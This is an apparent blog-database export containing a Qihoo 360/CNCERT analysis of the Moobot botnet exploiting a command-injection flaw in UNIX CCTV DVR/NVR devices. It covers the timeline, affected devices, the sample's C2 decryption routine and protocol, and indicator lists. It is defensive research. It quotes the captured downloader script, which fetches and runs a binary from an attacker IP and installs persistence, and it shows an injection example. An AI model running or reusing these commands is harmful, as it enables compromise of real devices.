MD5\n\n```\n04c7ef9e4197985d31e5d601a9161c5e\n052b6fce24a800259289e2f06163db57\n065d942effb6010bb48f7403d3ad442b\n0d0bf23412bd34c82ab28e67278519bf\n2b89fd69d128c8a28425c512670e531a\n2ed27722e095b1c870fdb10e4990db0f\n42d341d0b76869abc2231c70d0f0ecc9\n5e03c99153ed59546bf60c9f896a30f1\n7377eedb6512743858d52da3cc028a33\n7c59ddc06da158afc8b514a9a81ffd36\na5ded8b31b17c88302882cccc35cc28f\na8400c378950084fc8ab80b8bb4e5b18\na99563e6711990b9b3f542ae146bd01c\nacfa5f547b69bde0bf3f343429594b99\nb79639e2b5d10f92ea44721e155fc09b\nb9ac3d23faba205f74ebd932d8e370d3\nc2126977f9f482f290154ea21719330f\nc33b585a0dfa5fdb70d27a17ace6ba1f\nc51fc1656aa857bb7226e2df969aa72d\ncc1b11c6ac6e5bebc4c0e7502b4e1fcd\ncc27d6141f8c66e520122e8f2292a940\neda6d2b0837b5e78ae1b0b50f85e3321\n```\n\n#### Downloader\n```\nhttp://45.76.70.163:80/style/22523419f0404d628d02876e69458fbe.css\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f6d78c17646030007b2919a |
post | null | 2020-09-29T03:05:58.000Z | 63873b9a8b1c1e0007f52f87 | moobot-0day-unixcctv-dvr-en | 0 | 2020-11-20T13:47:17.000Z | public | published | null | 2020-11-20T13:47:17.000Z | MooBot on the run using another 0 day targeting UNIX CCTV DVR | <!--kg-card-begin: markdown--><p>This report is jointly issued by CNCERT and Qihoo 360</p>
<h1 id="overview">Overview</h1>
<p>Moobot is a botnet we first reported in September 2019<a href="__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/">[1]</a>. It has been pretty active since its appearance and we reported before it has the ability to exploit 0day vulnerabilities<a href="__GHOST_URL__/ddos-botnet-moobot-en/">[2]</a><a href="__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/">[3]</a> .</p>
<p>In Jun, we were able to confirm that another 0day had been used by Moobot targeting UNIX CCTV DVR/NVR devices(see below for device list). We notified the manufacture and patch has been issued<a href="http://download.eyemaxdvr.com/TVST%20PVT%205N-SERIES/Patch/">[ALL265 unix 2.3.7.8B09]</a><a href="http://download.eyemaxdvr.com/NVST%20IL&IP%20SERIES/Firmware_/Patch/">[NVR unix 2.3.7.8B05]</a><a href="http://download.eyemaxdvr.com/TVST%20PVT-N%20&%204M%20SERIES/Firmware/Patch/">[ALL unixip 2.3.4.8B06]</a>.</p>
<h1 id="timeline">Timeline</h1>
<ul>
<li>2020-06-09 We saw the scans targeting the vulnerability</li>
<li>2020-06-24 A Moobot sample spread by exploiting this vulnerability was captured by us</li>
<li>2020-08-24 Manufacturers released patches</li>
</ul>
<h1 id="vulnerabilityexploitationprocess">Vulnerability exploitation process</h1>
<p>Moobot scans port 8000 through Loader, after locating the right target device, Moobot samples will be dropped via the vulnerabilities.</p>
<h1 id="vulnerabilityanalysis">Vulnerability analysis</h1>
<h4 id="vulnerabilitytype">Vulnerability type</h4>
<p>Remote command injection vulnerability</p>
<h4 id="vulnerabilitydetails">Vulnerability details</h4>
<p>On the vulnerable devices, a <code>gui</code> process runs and listens to port 8000. According to the device manual, we know that this port is the default listening port for DVR Watch, Search, and Setup functions.<br>
<img src="__GHOST_URL__/content/images/2020/09/Snip20200928_4-1.png" alt="Snip20200928_4-1" loading="lazy"></p>
<p>The port has the function of remotely updating the system time, which is actually implemented by the <code>gui</code> process calling system commands <code>nptdate</code>. This is where the problem is. When the <code>gui</code> program executes the <code>ntpdate</code> command, the NTP server parameters are not checked, resulting in a command injection vulnerability.</p>
<p>For example, the command ( <code>ntpdate -d -t 1 time.nist.gov& whoami</code>) will lead the execution of <code>whoami</code> command. Part of the payload is as follows, we will not share more details or PoC here due to security concern.</p>
<p><img src="__GHOST_URL__/content/images/2020/08/Snip20200820_8-1.png" alt="Snip20200820_8-1" loading="lazy"></p>
<h1 id="affectedequipmentanalysis">Affected equipment analysis</h1>
<p>By scanning the 8000 ports of the entire network, we found about 6k online devices. Most of the equipment is in the United States.</p>
<h4 id="geographicaldistributionofaffectedequipment">Geographical distribution of affected equipment</h4>
<pre><code> 4529 United_States
789 Republic_of_Korea
84 Canada
73 Japan
66 Netherlands
56 Australia
55 Germany
31 United_Kingdom
23 Viet_Nam
19 Malaysia
15 Saudi_Arabia
15 Czech
14 Switzerland
11 China
</code></pre>
<h4 id="knownaffecteddevices">Known affected devices:</h4>
<pre><code> 51 PVT-N5UNIXDVR 1
28 PVT-8MUNIXDVR 1
28 NVST-ILUNIXDVR 1
25 NVST-ILUNIXNVR 1
22 Magic-U-8M5UNIXDVR 1
14 NVST-IPUNIXNVR 1
13 NVST-IPUNIXDVR 1
9 Magic-T-8M5UNIXDVR 1
9 HD-Analog3RDVR 1
6 Magic-QXUNIXDVR 1
2 Magic-U-8M5UNIXDVR 2
1 PVT-8MUNIXDVR
1 NVR3RGPardisNVR
1 Magic-U-8M5UNIXBoca DVR
1 MER-28N16ENEODVR 1
1 MER-28N08ENEODVR 1
</code></pre>
<h1 id="sampleanalysis">Sample analysis</h1>
<blockquote>
<p>Verdict:Downloader</p>
<p>MD5:af3720d0141d246bd3ede434f7a14dcb</p>
<p>ASCII text, with CRLF line terminators</p>
</blockquote>
<p><code>af3720d0141d246bd3ede434f7a14dcb</code> It is a download script, the content is as follows：</p>
<pre><code class="language-shell">s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > ."$s";chmod +x ."$s";./."$s" balloon;
echo -e "echo \"Starting logging\"\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;" > /etc/init.d/S11log
</code></pre>
<p>It can be seen that the main function of Downloader is</p>
<ul>
<li>Download Moobot sample</li>
<li>Achieve persistence</li>
</ul>
<p>It is worth mentioning that the downloaded Moobot samples are compressed, which to some extent affect the security products' detection of samples at the network traffic level.</p>
<blockquote>
<p>Verdict:Moobot_leet</p>
<p>MD5:fb96c74e0548bd41621ea0dd98e8b2bb</p>
<p>ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped</p>
<p>Packer:No</p>
<p>Lib:uclibc</p>
</blockquote>
<p><code>fb96c74e0548bd41621ea0dd98e8b2bb</code> It is a Moobot variant, based on the reuse of LeetHozer's encryption method, we call it Moobot_leet. Moobot_leet is very similar to Mirai at the host behavior level and has no real highlights, so in this blog we will just talk about its encryption method and communication protocol, we see the sample uses Tor Proxy, and a large number of proxy nodes are embedded, and Tor-C2 is encrypted.</p>
<h3 id="encryptionmethod">Encryption method</h3>
<p>Moobot_leet divides Tor-C2 into two parts: <code>prefix (16 bytes)</code> and <code>suffix (7 bytes)</code>, which exist in different positions of the sample. LeetHozer's encryption method is being adopted, and the correct Tor-C2 can only be decrypted by combining the two parts.</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG" class="kg-image"/></a></p>
<p>The decryption method is as follows:</p>
<pre><code>xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
</code></pre>
<p>Take prefix( <code>0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97</code>) and suffix( <code>CC 81 88 BB BD B8 DE</code>) as examples, splicing to get ciphertext( <code>0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE</code>), decryption can get Tor-C2 as <code>ol6zbnlduigehodu.onion</code>.</p>
<p>The strange thing is that from the code level ( <code>random mod 7</code>), it can be seen that there should be 7 Tor-C2, but there are only 3 in the actual sample, which will cause the bot to access the non legit Tor-C2. We guess it may be a method used to disrupt security researchers & to throw false negative to the sandbox IOC automatic extraction system.</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_illegal.PNG" class="kg-image"/></a></p>
<h3 id="communicationprotocol">Communication protocol</h3>
<p>An overview of Moobot_leet network traffic is as follows</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_view.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_view.PNG" class="kg-image"/></a><br>
First, establish a connection with the built-in proxy node of the sample, then establish a connection with Tor-C2, and finally use the normal Moobot communication protocol to notify C2 it is alive and can receive the attack command issued by C2.</p>
<h4 id="1establishaconnectionwiththeproxytheportis9050">1. Establish a connection with the proxy, the port is 9050</h4>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_proxy-1.PNG" class="kg-image"/></a><br>
The list of hardcode proxy nodes in the sample is as follows:</p>
<pre><code>1.26.150.133
104.45.52.37
107.21.38.230
12.11.175.187
128.199.45.26
13.50.100.110
136.243.69.28
138.68.107.137
158.69.33.149
165.22.117.234
173.212.249.65
185.242.114.206
193.29.187.226
193.70.77.132
20.188.45.175
3.8.5.177
31.6.69.162
35.153.180.187
35.158.231.234
4.21.119.186
45.137.22.80
45.14.148.239
46.101.216.75
5.138.113.101
5.252.225.249
51.11.247.88
51.15.239.174
51.75.144.59
51.77.148.172
62.149.14.80
79.130.136.67
80.241.212.116
82.146.61.193
82.230.81.131
86.177.24.148
89.163.146.187
89.217.41.145
9.43.47.135
9.43.47.39
90.93.30.29
91.228.218.66
92.222.76.104
92.29.22.186
93.104.211.123
94.100.28.172
</code></pre>
<h4 id="2establishaconnectionwithc2throughtorproxyprotocol">2. Establish a connection with C2 through Tor-Proxy protocol</h4>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_torcc.PNG" class="kg-image"/></a></p>
<p>The sample hardcode Tor-C2 list is as follows:</p>
<pre><code>ol6zbnlduigehodu.onion：1900
uajl7qmdquxaramd.onion：554
nhez3ihtwxwthjkm.onion：21
</code></pre>
<h4 id="3communicatewithc2throughthemoobotprotocolthespecificgoliveheartbeatandattackpacketareasfollows">3. Communicate with C2 through the Moobot protocol, the specific go live, heartbeat, and attack packet are as follows</h4>
<ul>
<li>
<p>Register package</p>
<p><a href="__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_reg.PNG" class="kg-image"/></a></p>
</li>
</ul>
<pre><code> msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
07 -----> group string length
62 61 6c 6c 6f 6f 6e -----> group string,here it is "balloon"
</code></pre>
<ul>
<li>Heartbeat package<br>
<a href="__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG"><img src="__GHOST_URL__/content/images/2020/08/mooleet_rand.PNG" class="kg-image"/></a></li>
</ul>
<pre><code> msg parsing
----------------------------------------------------------------
c7 15 3a fa -----> random 4 bytes msg from bot
c7 15 3a fa -----> 4 bytes msg from c2
</code></pre>
<ul>
<li>The attack command is similar to mirai</li>
</ul>
<pre><code>00000000: 01 00 00 00 3C 01 C2 0F 92 0C 20 02 01 00 05 32 ....<..... ....2
00000010: 38 30 31 35 02 00 04 31 34 36 30 02 1C 8015...1460..
</code></pre>
<h1 id="moobotddoscampaign">Moobot DDoS campaign</h1>
<p>Moobot's DDoS attacks are active all year round, and our previous article also introduced Moobot's attacks <a href="__GHOST_URL__/moobot/">[1]</a> . Here are the DDoS targets launched by Moobot.(we noticed <code>electrum.hodlister.co</code> has been attacked from this Moobot nonstop for a few months now)</p>
<p><a href="__GHOST_URL__/content/images/2020/09/Snip20200929_7.png"><img src="__GHOST_URL__/content/images/2020/09/Snip20200929_7.m.png" class="kg-image"/></a></p>
<h1 id="contactus">Contact us</h1>
<p>Readers are always welcomed to reach us on <a href="https://twitter.com/360Netlab">twitter</a> or email us to netlab at 360 dot cn.</p>
<h1 id="ioc">IoC</h1>
<h4 id="torc2">Tor-C2</h4>
<pre><code>djq6cvwigo7l7q62.onion:194
dl3ochoifo77lsak.onion:1553
krjn77m6demafp77.onion:6969
mvo4y3vr7xuxhwcf.onion:21
nhez3ihtwxwthjkm.onion:21
ol6zbnlduigehodu.onion:1900
stmptmmm27tco3oh.onion:115
tto6kqp6nsto5din.onion:17
uajl7qmdquxaramd.onion:554
wsvo6jwd3spsb4us.onion:1900
</code></pre>
<h4 id="samplemd5">Sample MD5</h4>
<pre><code>022081bc7f49b4aa5c4b36982390cd97
05764c4d5ec37575d5fd3efe95cf3458
260bda811c00dac88b4f5a35e9939760
30416eae1f1922b28d93be8078b25ba0
348acf45ccb313f6c5d34ca5f68f5e13
3e9ae33e0d5c36f7cd5f576233d83f26
4d785886039cbca5372068377f72da43
565c0456c7fbb393ec483c648155b119
655b56b345799f99b614e23128942b92
7735289d33d14644fea27add188093ea
7988a73a4b5ccb7ca9b98dc633b8c0c6
b2c66c2831173b1117467fdabc78241e
bb27f755238528fc3c6386287a5c74a7
bff215a95f088672ad13933a1de70861
cb428a513275b5e969353596deb7383d
cf3602498c49caa902d87579fd420098
e24dc070a4d90a7b01389de9f2805b2b
fe0488ec71ee04ddb47792cae199595b
</code></pre>
<h4 id="downloaderurl">Downloader URL</h4>
<pre><code>http[://104.244.78.131/boot
http[://104.244.78.131/fre
http[://107.189.10.28/boot
http[://107.189.10.28/fre
http[://141.164.63.40/boot
http[://141.164.63.40/fre
http[://172.104.105.205/boot
http[://185.216.140.70/fre
http[://185.216.140.70/t
http[://185.39.11.84/fre
http[://89.248.174.166/t
http[://92.223.73.55/fre
http[://ape.run/dtf/b
http[://ape.run/fre
http[://c.uglykr.xyz/fre
http[://kreb.xyz/fre
http[://osrq.xyz/dtf/b
http[://osrq.xyz/fre
</code></pre>
<h4 id="scannerip">Scanner IP</h4>
<pre><code>176.126.175.10 AS47540|EURODC-AS Romania|Romania|Unknown
176.126.175.8 AS47540|EURODC-AS Romania|Romania|Unknown
185.107.80.202 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.203 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.34 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.62 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.39.11.84 AS62355|Network_Dedicated_SAS Netherlands|North_Holland|Wormer
212.224.124.178 AS44066|First_Colo_GmbH Germany|Hesse|Frankfurt
89.248.174.165 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.166 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.203 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
92.223.73.136 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.54 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.55 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.72 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
</code></pre>
<!--kg-card-end: markdown--> | This report is jointly issued by CNCERT and Qihoo 360
Overview
Moobot is a botnet we first reported in September 2019[1]. It has been pretty active since its appearance and we reported before it has the ability to exploit 0day vulnerabilities[2][3] .
In Jun, we were able to confirm that another 0day had been used by Moobot targeting UNIX CCTV DVR/NVR devices(see below for device list). We notified the manufacture and patch has been issued[ALL265 unix 2.3.7.8B09][NVR unix 2.3.7.8B05][ALL unixip 2.3.4.8B06].
Timeline
* 2020-06-09 We saw the scans targeting the vulnerability
* 2020-06-24 A Moobot sample spread by exploiting this vulnerability was captured by us
* 2020-08-24 Manufacturers released patches
Vulnerability exploitation process
Moobot scans port 8000 through Loader, after locating the right target device, Moobot samples will be dropped via the vulnerabilities.
Vulnerability analysis
Vulnerability type
Remote command injection vulnerability
Vulnerability details
On the vulnerable devices, a gui process runs and listens to port 8000. According to the device manual, we know that this port is the default listening port for DVR Watch, Search, and Setup functions.
The port has the function of remotely updating the system time, which is actually implemented by the gui process calling system commands nptdate. This is where the problem is. When the gui program executes the ntpdate command, the NTP server parameters are not checked, resulting in a command injection vulnerability.
For example, the command ( ntpdate -d -t 1 time.nist.gov& whoami) will lead the execution of whoami command. Part of the payload is as follows, we will not share more details or PoC here due to security concern.
Affected equipment analysis
By scanning the 8000 ports of the entire network, we found about 6k online devices. Most of the equipment is in the United States.
Geographical distribution of affected equipment
4529 United_States
789 Republic_of_Korea
84 Canada
73 Japan
66 Netherlands
56 Australia
55 Germany
31 United_Kingdom
23 Viet_Nam
19 Malaysia
15 Saudi_Arabia
15 Czech
14 Switzerland
11 China
Known affected devices:
51 PVT-N5UNIXDVR 1
28 PVT-8MUNIXDVR 1
28 NVST-ILUNIXDVR 1
25 NVST-ILUNIXNVR 1
22 Magic-U-8M5UNIXDVR 1
14 NVST-IPUNIXNVR 1
13 NVST-IPUNIXDVR 1
9 Magic-T-8M5UNIXDVR 1
9 HD-Analog3RDVR 1
6 Magic-QXUNIXDVR 1
2 Magic-U-8M5UNIXDVR 2
1 PVT-8MUNIXDVR
1 NVR3RGPardisNVR
1 Magic-U-8M5UNIXBoca DVR
1 MER-28N16ENEODVR 1
1 MER-28N08ENEODVR 1
Sample analysis
Verdict:Downloader
MD5:af3720d0141d246bd3ede434f7a14dcb
ASCII text, with CRLF line terminators
af3720d0141d246bd3ede434f7a14dcb It is a download script, the content is as follows：
s=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > ."$s";chmod +x ."$s";./."$s" balloon;
echo -e "echo \"Starting logging\"\nklogd\nsyslogd -O /dvr/message -s 4000\n/cmslite/.o balloon;" > /etc/init.d/S11log
It can be seen that the main function of Downloader is
* Download Moobot sample
* Achieve persistence
It is worth mentioning that the downloaded Moobot samples are compressed, which to some extent affect the security products' detection of samples at the network traffic level.
Verdict:Moobot_leet
MD5:fb96c74e0548bd41621ea0dd98e8b2bb
ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped
Packer:No
Lib:uclibc
fb96c74e0548bd41621ea0dd98e8b2bb It is a Moobot variant, based on the reuse of LeetHozer's encryption method, we call it Moobot_leet. Moobot_leet is very similar to Mirai at the host behavior level and has no real highlights, so in this blog we will just talk about its encryption method and communication protocol, we see the sample uses Tor Proxy, and a large number of proxy nodes are embedded, and Tor-C2 is encrypted.
Encryption method
Moobot_leet divides Tor-C2 into two parts: prefix (16 bytes) and suffix (7 bytes), which exist in different positions of the sample. LeetHozer's encryption method is being adopted, and the correct Tor-C2 can only be decrypted by combining the two parts.
The decryption method is as follows:
xorkey="qE6MGAbI"
def decode_str(ctxt):
for i in range(0,len(xorkey)):
plain=""
size=len(ctxt)
for idx in range(0, size):
ch=ord(ctxt[idx])
ch ^=(ord(xorkey[i]) + idx )
plain += chr(ch)
ctxt=plain
return ctxt
Take prefix( 0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97) and suffix( CC 81 88 BB BD B8 DE) as examples, splicing to get ciphertext( 0D 02 50 08 10 18 12 06 17 17 61 77 7A 79 6A 97 CC 81 88 BB BD B8 DE), decryption can get Tor-C2 as ol6zbnlduigehodu.onion.
The strange thing is that from the code level ( random mod 7), it can be seen that there should be 7 Tor-C2, but there are only 3 in the actual sample, which will cause the bot to access the non legit Tor-C2. We guess it may be a method used to disrupt security researchers & to throw false negative to the sandbox IOC automatic extraction system.
Communication protocol
An overview of Moobot_leet network traffic is as follows
First, establish a connection with the built-in proxy node of the sample, then establish a connection with Tor-C2, and finally use the normal Moobot communication protocol to notify C2 it is alive and can receive the attack command issued by C2.
1. Establish a connection with the proxy, the port is 9050
The list of hardcode proxy nodes in the sample is as follows:
1.26.150.133
104.45.52.37
107.21.38.230
12.11.175.187
128.199.45.26
13.50.100.110
136.243.69.28
138.68.107.137
158.69.33.149
165.22.117.234
173.212.249.65
185.242.114.206
193.29.187.226
193.70.77.132
20.188.45.175
3.8.5.177
31.6.69.162
35.153.180.187
35.158.231.234
4.21.119.186
45.137.22.80
45.14.148.239
46.101.216.75
5.138.113.101
5.252.225.249
51.11.247.88
51.15.239.174
51.75.144.59
51.77.148.172
62.149.14.80
79.130.136.67
80.241.212.116
82.146.61.193
82.230.81.131
86.177.24.148
89.163.146.187
89.217.41.145
9.43.47.135
9.43.47.39
90.93.30.29
91.228.218.66
92.222.76.104
92.29.22.186
93.104.211.123
94.100.28.172
2. Establish a connection with C2 through Tor-Proxy protocol
The sample hardcode Tor-C2 list is as follows:
ol6zbnlduigehodu.onion：1900
uajl7qmdquxaramd.onion：554
nhez3ihtwxwthjkm.onion：21
3. Communicate with C2 through the Moobot protocol, the specific go live, heartbeat, and attack packet are as follows
*
Register package
msg parsing
----------------------------------------------------------------
33 66 99 -----> hardcoded magic
07 -----> group string length
62 61 6c 6c 6f 6f 6e -----> group string,here it is "balloon"
* Heartbeat package
msg parsing
----------------------------------------------------------------
c7 15 3a fa -----> random 4 bytes msg from bot
c7 15 3a fa -----> 4 bytes msg from c2
* The attack command is similar to mirai
00000000: 01 00 00 00 3C 01 C2 0F 92 0C 20 02 01 00 05 32 ....<..... ....2
00000010: 38 30 31 35 02 00 04 31 34 36 30 02 1C 8015...1460..
Moobot DDoS campaign
Moobot's DDoS attacks are active all year round, and our previous article also introduced Moobot's attacks [1] . Here are the DDoS targets launched by Moobot.(we noticed electrum.hodlister.co has been attacked from this Moobot nonstop for a few months now)
Contact us
Readers are always welcomed to reach us on twitter or email us to netlab at 360 dot cn.
IoC
Tor-C2
djq6cvwigo7l7q62.onion:194
dl3ochoifo77lsak.onion:1553
krjn77m6demafp77.onion:6969
mvo4y3vr7xuxhwcf.onion:21
nhez3ihtwxwthjkm.onion:21
ol6zbnlduigehodu.onion:1900
stmptmmm27tco3oh.onion:115
tto6kqp6nsto5din.onion:17
uajl7qmdquxaramd.onion:554
wsvo6jwd3spsb4us.onion:1900
Sample MD5
022081bc7f49b4aa5c4b36982390cd97
05764c4d5ec37575d5fd3efe95cf3458
260bda811c00dac88b4f5a35e9939760
30416eae1f1922b28d93be8078b25ba0
348acf45ccb313f6c5d34ca5f68f5e13
3e9ae33e0d5c36f7cd5f576233d83f26
4d785886039cbca5372068377f72da43
565c0456c7fbb393ec483c648155b119
655b56b345799f99b614e23128942b92
7735289d33d14644fea27add188093ea
7988a73a4b5ccb7ca9b98dc633b8c0c6
b2c66c2831173b1117467fdabc78241e
bb27f755238528fc3c6386287a5c74a7
bff215a95f088672ad13933a1de70861
cb428a513275b5e969353596deb7383d
cf3602498c49caa902d87579fd420098
e24dc070a4d90a7b01389de9f2805b2b
fe0488ec71ee04ddb47792cae199595b
Downloader URL
http[://104.244.78.131/boot
http[://104.244.78.131/fre
http[://107.189.10.28/boot
http[://107.189.10.28/fre
http[://141.164.63.40/boot
http[://141.164.63.40/fre
http[://172.104.105.205/boot
http[://185.216.140.70/fre
http[://185.216.140.70/t
http[://185.39.11.84/fre
http[://89.248.174.166/t
http[://92.223.73.55/fre
http[://ape.run/dtf/b
http[://ape.run/fre
http[://c.uglykr.xyz/fre
http[://kreb.xyz/fre
http[://osrq.xyz/dtf/b
http[://osrq.xyz/fre
Scanner IP
176.126.175.10 AS47540|EURODC-AS Romania|Romania|Unknown
176.126.175.8 AS47540|EURODC-AS Romania|Romania|Unknown
185.107.80.202 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.203 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.34 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.107.80.62 AS43350|NForce_Entertainment_B.V. Netherlands|North_Brabant|Steenbergen
185.39.11.84 AS62355|Network_Dedicated_SAS Netherlands|North_Holland|Wormer
212.224.124.178 AS44066|First_Colo_GmbH Germany|Hesse|Frankfurt
89.248.174.165 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.166 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
89.248.174.203 AS202425|IP_Volume_inc Netherlands|North_Holland|Wormer
92.223.73.136 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.54 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.55 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
92.223.73.72 AS199524|G-Core_Labs_S.A. Republic_of_Korea|Seoul|Unknown
| {"version":"0.3.1","atoms":[],"cards":[["markdown",{"markdown":"This report is jointly issued by CNCERT and Qihoo 360\n\n# Overview\nMoobot is a botnet we first reported in September 2019[[1]](__GHOST_URL__/the-botnet-cluster-on-185-244-25-0-24-en/). It has been pretty active since its appearance and we reported before it has the ability to exploit 0day vulnerabilities[[2]](__GHOST_URL__/ddos-botnet-moobot-en/)[[3]](__GHOST_URL__/multiple-botnets-are-spreading-using-lilin-dvr-0-day-en/) . \n\nIn Jun, we were able to confirm that another 0day had been used by Moobot targeting UNIX CCTV DVR/NVR devices(see below for device list). We notified the manufacture and patch has been issued[[ALL265 unix 2.3.7.8B09]](http://download.eyemaxdvr.com/TVST%20PVT%205N-SERIES/Patch/)[[NVR unix 2.3.7.8B05]](http://download.eyemaxdvr.com/NVST%20IL&IP%20SERIES/Firmware_/Patch/)[[ALL unixip 2.3.4.8B06]](http://download.eyemaxdvr.com/TVST%20PVT-N%20&%204M%20SERIES/Firmware/Patch/).\n\n# Timeline\n- 2020-06-09 We saw the scans targeting the vulnerability\n- 2020-06-24 A Moobot sample spread by exploiting this vulnerability was captured by us\n- 2020-08-24 Manufacturers released patches \n\n# Vulnerability exploitation process\n\nMoobot scans port 8000 through Loader, after locating the right target device, Moobot samples will be dropped via the vulnerabilities.\n\n# Vulnerability analysis\n#### Vulnerability type\nRemote command injection vulnerability \n\n#### Vulnerability details\n\nOn the vulnerable devices, a `gui` process runs and listens to port 8000. According to the device manual, we know that this port is the default listening port for DVR Watch, Search, and Setup functions.\n\n\nThe port has the function of remotely updating the system time, which is actually implemented by the `gui` process calling system commands `nptdate`. This is where the problem is. When the `gui` program executes the `ntpdate` command, the NTP server parameters are not checked, resulting in a command injection vulnerability. \n\nFor example, the command ( `ntpdate -d -t 1 time.nist.gov& whoami`) will lead the execution of `whoami` command. Part of the payload is as follows, we will not share more details or PoC here due to security concern.\n\n\n# Affected equipment analysis\nBy scanning the 8000 ports of the entire network, we found about 6k online devices. Most of the equipment is in the United States.\n\n#### Geographical distribution of affected equipment\n\n```\n 4529 United_States\n 789 Republic_of_Korea\n 84 Canada\n 73 Japan\n 66 Netherlands\n 56 Australia\n 55 Germany\n 31 United_Kingdom\n 23 Viet_Nam\n 19 Malaysia\n 15 Saudi_Arabia\n 15 Czech\n 14 Switzerland\n 11 China\n```\n\n#### Known affected devices:\n\n```\n 51 PVT-N5UNIXDVR 1\n 28 PVT-8MUNIXDVR 1\n 28 NVST-ILUNIXDVR 1\n 25 NVST-ILUNIXNVR 1\n 22 Magic-U-8M5UNIXDVR 1\n 14 NVST-IPUNIXNVR 1\n 13 NVST-IPUNIXDVR 1\n 9 Magic-T-8M5UNIXDVR 1\n 9 HD-Analog3RDVR 1\n 6 Magic-QXUNIXDVR 1\n 2 Magic-U-8M5UNIXDVR 2\n 1 PVT-8MUNIXDVR\n 1 NVR3RGPardisNVR\n 1 Magic-U-8M5UNIXBoca DVR\n 1 MER-28N16ENEODVR 1\n 1 MER-28N08ENEODVR 1\n```\n\n# Sample analysis\n\n> Verdict:Downloader\n>\n> MD5:af3720d0141d246bd3ede434f7a14dcb\n>\n> ASCII text, with CRLF line terminators\n\n```af3720d0141d246bd3ede434f7a14dcb``` It is a download script, the content is as follows：\n\n```shell\ns=o;cd /cmslite;wget http://205.185.116.68/boot -O-|gzip -d > .\"$s\";chmod +x .\"$s\";./.\"$s\" balloon;\necho -e \"echo \\\"Starting logging\\\"\\nklogd\\nsyslogd -O /dvr/message -s 4000\\n/cmslite/.o balloon;\" > /etc/init.d/S11log\n\n```\n\nIt can be seen that the main function of Downloader is\n\n- Download Moobot sample\n- Achieve persistence\n\nIt is worth mentioning that the downloaded Moobot samples are compressed, which to some extent affect the security products' detection of samples at the network traffic level.\n\n> Verdict:Moobot_leet\n>\n> MD5:fb96c74e0548bd41621ea0dd98e8b2bb\n>\n> ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, stripped\n>\n> Packer:No\n>\n> Lib:uclibc\n\n```fb96c74e0548bd41621ea0dd98e8b2bb``` It is a Moobot variant, based on the reuse of LeetHozer's encryption method, we call it Moobot_leet. Moobot_leet is very similar to Mirai at the host behavior level and has no real highlights, so in this blog we will just talk about its encryption method and communication protocol, we see the sample uses Tor Proxy, and a large number of proxy nodes are embedded, and Tor-C2 is encrypted.\n\n### Encryption method\n\nMoobot_leet divides Tor-C2 into two parts: `prefix (16 bytes)` and `suffix (7 bytes)`, which exist in different positions of the sample. LeetHozer's encryption method is being adopted, and the correct Tor-C2 can only be decrypted by combining the two parts.\n\n <a href=\"__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG\"><img src=\"__GHOST_URL__/content/images/2020/08/mooleet_torpart-1.PNG\" class=\"kg-image\"/></a>\n\n\nThe decryption method is as follows:\n\n```\nxorkey=\"qE6MGAbI\"\n\ndef decode_str(ctxt):\n for i in range(0,len(xorkey)):\n plain=\"\"\n size=len(ctxt) \n for idx in range(0, size):\n ch=ord(ctxt[idx]) \n ch ^=(ord(xorkey[i]) + idx )\n plain += chr(ch)\n ctxt=plain\n return ctxt \n \n```\n\nTake 